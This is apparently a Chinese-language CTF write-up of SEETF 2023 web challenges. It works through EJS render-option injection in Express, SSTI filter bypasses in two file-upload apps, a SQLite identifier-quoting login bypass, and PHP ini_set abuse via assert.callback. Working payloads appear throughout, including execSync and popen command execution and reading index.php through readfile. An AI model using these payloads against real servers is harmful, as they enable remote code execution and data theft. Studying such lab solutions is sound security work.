SEECTF writeups - web challs
关键字:ejs,php.ini,ini_set,sqlite3,ssti
ctftime:https://ctftime.org/event/1828
Express JavaScript Security
核心代码
1 | app.get('/greet', (req, res) => { |
题目构造很简单,使用的是最新版的ejs和express
1 | "dependencies": { |
我们可以给render塞任意参数,需要达到一个RCE的目的
debug运行一下程序,给render下一个断点,跟进一下代码
调用栈
1 | render (\mnt\d\Desktop\security\ctf2023games\SEETF2023\dist_express-javascript-security_31d3740ae934682d8c36d3a3182c29981e0c9909\node_modules\express\lib\application.js:571) |
看到一个merge函数,猜测存在原型链污染漏洞
这里的merge是var merge = require('utils-merge');
导入的
经过测试发现并不能污染到原型
查看utils-merge
中的函数,是直接进行拷贝,无法直接对原型进行修改
原型链污染这条路断了,我们继续看render的参数怎么工作
这里将传入的参数赋值给data
1 | exports.renderFile (\mnt\d\Desktop\security\ctf2023games\SEETF2023\dist_express-javascript-security_31d3740ae934682d8c36d3a3182c29981e0c9909\node_modules\ejs\lib\ejs.js:475) |
这里如果 data.settings['view options']
存在值,则会将 data.settings['view options']
的值拷贝给opts
继续跟进代码,opts
的值会传递给options
1 | Template (\mnt\d\Desktop\security\ctf2023games\SEETF2023\dist_express-javascript-security_31d3740ae934682d8c36d3a3182c29981e0c9909\node_modules\ejs\lib\ejs.js:510) |
然后继续传递到compile
这里就是比较熟悉的原型链污染触发的地方,所有我们可以通过设置data.settings['view options']
的值来控制opts
,进而控制options
,达到和原型链污染差不多的效果
存在黑名单
1 | const BLACKLIST = [ |
参考:https://www.anquanke.com/post/id/236354#h2-2 的链子
1 | {"__proto__":{"__proto__":{"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('dir');","compileDebug":true,"debug":true}}} |
观察Template
,我们发现通过设置opts.escape
的值来设置options.escapeFunction
,来绕过黑名单
1 | opts = opts || utils.createNullProtoObjWherePossible(); |
最终payload
1 | /greet?settings[view options][escape]=1; return global.process.mainModule.constructor._load('child_process').execSync('/readflag');&settings[view options][client]=true&settings[view options][compileDebug]=true&settings[view options][debug]=true |
拼接代码,任意代码执行
file uploader 1
存在漏洞点
如果fileext
不在白名单中,会将文件名拼接到template
中然后渲染返回
1 |
|
绕过他的黑名单即可
参考:https://xz.aliyun.com/t/9584#toc-3
fuzz类的索引
1 | import requests |
读取flag.txt
1 | POST /upload HTTP/1.1 |
file uploader 2
存在漏洞的地方
会渲染我们上传的文件
1 |
|
我们只需要构造恶意内容文件,将其上传即可进行类似ssti的操作
1 | {{g.pop.__globals__.__builtins__['__import__']('os').popen('cat i*').read()}} |
但是在上传文件之前,需要我们进行登录,进行sql查询之前对query进行拼接,但是限制了传入的字符串只能包含大小写字母,数字,花括号,下划线。不能通过闭合引号来进行注入
1 |
|
有意思的是在 sqlite3
中,单引号和双引号具有不同的含义,一个指的是一个字符串,另一个指的是一个标识符,一个标识符可以是一个列名,所以它变成像列名=列名
https://www.sqlite.org/lang_keywords.html
只要我们输入的账号密码和users
的字段名对上了即可。
登录成功后,上传文件,然后访问文件即可触发ssti
执行任意命令
1 | 登录:password=cGFzc3dvcmRpbmJhc2U2NA&username=dXNlcm5hbWVpbmJhc2U2NA |
Sourceful Guessless Web
本地搭建环境
在这题中我们可以进行任意次的ini_set($key, $value);
设置一个phpinfo();
看一下php的配置
刚开始看的是
auto_prepend_file
auto_append_file
发现这两个配置不能通过ini_set
设置
后面往log
这方面看,发现可以设置日志文件,但是并没有产生日志文件,并且网站目录root可写,文件落地方案失败
继续往下看 看到 pcre
方面,可以设置pcre.backtrack_limit和pcre.recursion_limit
不认识的配置项直接问chatgpt(很省时间)
1 | pcre.recursion_limit是什么 |
我们可以通过设置pcre.recursion_limit
的值来限制递归深度,我们将其设置为0,则preg_match
就会出错,断言失败
没什么用,我们继续往下翻配置
发现assert.callback
另一个关键配置
1 | assert.callback 是一个 PHP 配置选项,用于指定一个回调函数,在断言失败时被调用。断言是一种用于检查代码正确性的技术,通常用于在开发和测试过程中检测代码中的错误和异常情况。在 PHP 中,断言可以通过 assert() 函数来实现。 |
设置assert.callback
我们的函数成功被执行,并且第一个参数是文件名,已知flag是以字符串的形式存在index.php
中,我们可以通过读取index.php
来读取flag。
还有一个限制就是函数的参数类型需要大于等于3,否则会报错,如highlight_file
通过翻文档的文件操作函数列表发现
1 | readfile(string $filename, bool $use_include_path = false, ?resource $context = null): int|false |
最后构造
1 | ?flag=SEE{FAKE_FLAG}&debug=a&config[pcre.backtrack_limit]=0&config[assert.callback]=readfile |